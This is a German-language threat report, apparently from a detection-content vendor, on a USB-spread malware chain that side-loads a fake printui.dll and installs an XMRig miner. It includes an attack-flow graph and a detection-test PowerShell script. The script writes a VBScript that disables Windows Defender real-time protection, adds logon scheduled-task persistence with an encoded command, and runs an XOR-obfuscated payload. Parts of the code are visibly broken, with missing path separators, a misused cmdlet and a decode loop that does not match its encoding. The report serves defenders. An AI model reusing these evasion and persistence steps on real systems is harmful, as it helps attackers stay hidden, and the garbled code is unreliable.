SOC Prime Bias: Mittel

02 Dez. 2025 20:53

DIRTYBULK und Freunde: USB-Malware, die Krypto-Mining-Operationen antreibt

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
DIRTYBULK und Freunde: USB-Malware, die Krypto-Mining-Operationen antreibt
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Der Bericht beschreibt eine USB-gesteuerte Infektionskampagne, die bösartige Verknüpfungsdateien verwendet, um eine mehrstufige Malware-Kette für das Kryptowährungs-Mining auszuliefern. Die initiale Ausführung läd eine DLL namens printui.dll aus einem gefälschten System32-Verzeichnis und übergibt dann an einen Dropper (CUTFAIL), der weiter einen Downloader (HIGHREPS) und einen Backdoor (PUMPBENCH) bereitstellt. Der PUMPBENCH-Backdoor kommuniziert mit einem PostgreSQL-Server, um zusätzliche Payloads abzurufen und startet letztendlich XMRig-Miner. Der Betrieb behält die Persistenz durch Windows Defender-Ausschlüsse, geplante Aufgaben und bösartige Dienste bei.

Analyse

Mandiant-Forscher dekonstruierten die Kill-Chain und hoben vier Haupt-Malware-Familien hervor: DIRTYBULK, CUTFAIL, HIGHREPS und PUMPBENCH. Sie erfassten die Dateinamensmuster der Akteure, den Missbrauch des DLL-Side-Loading von printui.dll, Registrierungsänderungen und zugehörige Netzwerk-Indikatoren. Die Analyse kartierte auch Persistenztechniken, einschließlich geplanter Aufgaben und Dienste, die mit der DCOMLaunch Servicegruppe verbunden sind.

Minderung

Empfohlene Abwehrmaßnahmen umfassen die Blockierung der Ausführung von Verknüpfungsdateien, die von Wechselmedien stammen, die Überwachung von Befehlen, die Windows Defender-Ausschlüsse hinzufügen, das Erkennen von verdächtigen printui.dll-Sideloading-Aktivitäten und das Suchen nach Diensten oder geplanten Aufgaben, die zufällige sechsstellige Namen verwenden. Die Anwendung von Netzwerksteuerungen gegen bekannte bösartige Domains und DoH-Auflöser kann die Kommando-und-Kontroll-Kanäle weiter begrenzen.

Reaktion

Sobald entdeckt, isolieren Sie den betroffenen Host, entfernen Sie die bösartige DLL und verwandte Komponenten, löschen Sie die störende geplante Aufgabe und die Dienst-Einträge, und stellen Sie die Windows Defender-Einstellungen wieder her, indem Sie Ausschlüsse löschen. Führen Sie umfassende forensische Scans durch, um verbleibende Payloads aufzudecken und Verbindungen zur identifizierten PostgreSQL C2-Infrastruktur nachzuverfolgen. Aktualisieren Sie schließlich die Erkennungsinformationen, um die beobachtete Kommandozeilen-Nutzung und das Erstellen von Dateien abzudecken.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffff99 classDef process fill:#ff9999 classDef service fill:#ccffcc classDef command fill:#dddddd classDef malware fill:#ffb6c1 %% Initial infection via removable media node_usb_insert[„<b>Action</b> – <b>T1674 Input Injection</b>: Opfer steckt einen USB-Datenträger mit einer bösartigen Verknüpfung ein“] class node_usb_insert action node_lnk[„<b>File</b> – <b>Schädliche Verknüpfung</b> (USB Drive.lnk)“] class node_lnk file node_wscript[„<b>Tool</b> – <b>wscript.exe</b>: Führt VBScript aus“] class node_wscript tool node_vbs[„<b>File</b> – <b>VBScript</b> (x??????.vbs)“] class node_vbs file node_shortcut_mod[„<b>Action</b> – <b>T1547.009 Shortcut Modification</b>: LNK wird zur Persistenz genutzt“] class node_shortcut_mod action %% Masquerading and side-loading node_masq_dir[„<b>File</b> – <b>Gefälschtes Verzeichnis</b> C:\\Windows\u003cspace\u003e\\System32 (nachgestelltes Leerzeichen)“] class node_masq_dir file node_printui_exe[„<b>Process</b> – <b>printui.exe</b> (legitim)“] class node_printui_exe process node_printui_dll[„<b>File</b> – <b>printui.dll</b> (bösartig)“] class node_printui_dll file node_dll_hijack[„<b>Action</b> – <b>T1574.001 Hijack Execution Flow: DLL</b>“] class node_dll_hijack action %% Defense evasion via PowerShell profile node_ps_exclusion[„<b>Command</b> – Add-MpPreference -ExclusionPath \“C:\\Windows\u003cspace\u003e\““] class node_ps_exclusion command node_ps_profile[„<b>Action</b> – <b>T1546.013 PowerShell Profile</b>: Führt Ausschlussbefehl aus“] class node_ps_profile action %% Persistence through service and scheduled task node_service_create[„<b>Action</b> – <b>T1543.003 Create Windows Service</b>“] class node_service_create action node_service[„<b>Service</b> – <b>123456</b> unter DcomLaunch erstellt mit ServiceDll“] class node_service service node_scheduled_task[„<b>Command</b> – schtasks /create /tn \“console_zero\“ /sc ONLOGON /tr \“C:\\Windows\\System32\\console_zero.exe\“ /rl HIGHEST /f“] class node_scheduled_task command node_task_action[„<b>Action</b> – <b>T1037.001 Logon Script</b>: Führt console_zero.exe bei Benutzeranmeldung aus“] class node_task_action action %% C2 resolution via DoH and fast flux node_doh[„<b>Tool</b> – DNS-over-HTTPS-Abfragen an dns.google“] class node_doh tool node_fastflux[„<b>Action</b> – <b>T1568.001 Fast Flux DNS</b> und <b>T1568.003 DNS Calculation</b>“] class node_fastflux action %% Resource hijacking – cryptocurrency mining node_xmrig[„<b>Malware</b> – XMRig-Miner“] class node_xmrig malware node_mining[„<b>Action</b> – <b>T1496.001 Resource Hijacking</b>: Kryptomining auf kompromittiertem Host“] class node_mining action %% Connections node_usb_insert –>|enthält| node_lnk node_lnk –>|führt aus| node_wscript node_wscript –>|startet| node_vbs node_vbs –>|erstellt getarntes Verzeichnis| node_masq_dir node_vbs –>|kopiert legitime ausführbare Datei| node_printui_exe node_vbs –>|ersetzt DLL durch bösartige Version| node_printui_dll node_printui_exe –>|lädt| node_dll_hijack node_dll_hijack –>|lädt bösartige DLL| node_printui_dll node_printui_dll –>|löst aus| node_ps_exclusion node_ps_exclusion –>|ausgeführt über| node_ps_profile node_ps_profile –>|erstellt| node_service_create node_service_create –>|erstellt| node_service node_service –>|aktiviert| node_scheduled_task node_scheduled_task –>|wird bei Anmeldung ausgeführt| node_task_action node_task_action –>|lädt C2-Adresse über| node_doh node_doh –>|nutzt| node_fastflux node_fastflux –>|liefert Adresse für| node_xmrig node_xmrig –>|führt aus| node_mining

Angriffsfluss

Simulation Execution

Voraussetzung: Der Telemetrie- & Basislinien-Vorabflug-Check muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Angreifertechnik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN direkt die identifizierten TTPs reflektieren und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungstechnik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

  • Angriffserzählung & Befehle:

    1. Phase 1 – Bösartiges VBScript auf das kompromittierte USB-Laufwerk (z.B., aufspielenE:payload.vbs). Das Skript deaktiviert den Echtzeitschutz von Windows Defender mithilfe vonAdd-MpPreference, verschlüsselt eine Nutzlast mit einer XOR-Routine und erstellt eine geplante Aufgabe zur Persistenz.

    2. Phase 2 – Führen Sie das Skript über wscript.exe aus, indem Sie den Persistenz-Kommandozeilenbefehl direkt übergeben (um die konjunktive Bedingung der Regel zu erfüllen).

    3. Phase 3 – Das Skript ruft intern PowerShell auf, um die verschlüsselte Nutzlast auszuführen, was die „Infektionskette“ demonstriert.

    4. Phase 4 – Nach der Ausführung beseitigt der Angreifer Artefakte (entfernt das Skript, löscht die geplante Aufgabe).

  • Regression Test Script:

    # ------------------------------------------------------------
    # Regressionstest – Malware-Infektionskettensimulation
    # ------------------------------------------------------------
    $scriptPath = "$env:TEMPpayload.vbs"
    $taskName  = "WinUpdateTask"
    $xorKey    = 0x5A
    
    # -- 1. Erstellen Sie eine mit XOR verschlüsselte Dummy-Nutzlast --------------------------------
    $plainPayload = "calc.exe"
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($plainPayload)
    for ($i = 0; $i -lt $bytes.Length; $i++) {
        $bytes[$i] = $bytes[$i] -bxor $xorKey
    }
    $encrypted = [Convert]::ToBase64String($bytes)
    
    # -- 2. Bösartiges VBScript schreiben -------------------------------------------
    @"
    ' Bösartiges VBScript – Infektionskette
    Set sh = CreateObject("WScript.Shell")
    ' Deaktivieren des Echtzeitschutzes
    sh.Run "powershell -Command `"Add-MpPreference -DisableRealtimeMonitoring $true`"", 0, True
    
    ' Erstellen einer geplanten Aufgabe zur Persistenz
    sh.Run "schtasks /Create /SC ONLOGON /TN $taskName /TR `"powershell -EncodedCommand $([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('Start-Process `"$env:windirsystem32cmd.exe`" /c echo $encrypted ^| powershell -EncodedCommand'))`"", 0, True
    
    ' Entschlüsseln und Ausführen der Nutzlast
    Dim encData, decData, i
    encData = "$encrypted"
    decData = ""
    For i = 1 To Len(encData) Step 4
        ch = ChrW(CInt("&H" & Mid(encData, i, 4)) Xor $xorKey)
        decData = decData & ch
    Next
    sh.Run decData, 0, False
    "@ | Set-Content -Encoding ASCII $scriptPath
    
    # -- 3. Führen Sie das Skript über wscript.exe aus (löst die Regel aus) -------------
    wscript.exe "$scriptPath" /B
    
    # -- 4. (Optional) Warten Sie ein paar Sekunden, bis die Aufgabe ausgelöst wird ----------------
    Start-Sleep -Seconds 10
    
    # ------------------------------------------------------------
    # Bereinigung – Entfernen Sie das Skript und die geplante Aufgabe
    # ------------------------------------------------------------
    Remove-Item $scriptPath -Force
    schtasks /Delete /TN $taskName /F
  • Bereinigungskommandos:

    # Entfernen Sie verbleibende geplante Aufgaben (falls noch vorhanden)
    schtasks /Delete /TN "WinUpdateTask" /F
    
    # Entfernen Sie verbleibende Skriptdateien
    Remove-Item "$env:TEMPpayload.vbs" -ErrorAction SilentlyContinue
    
    # Reaktivieren Sie den Echtzeitschutz
    powershell -Command "Add-MpPreference -DisableRealtimeMonitoring $false"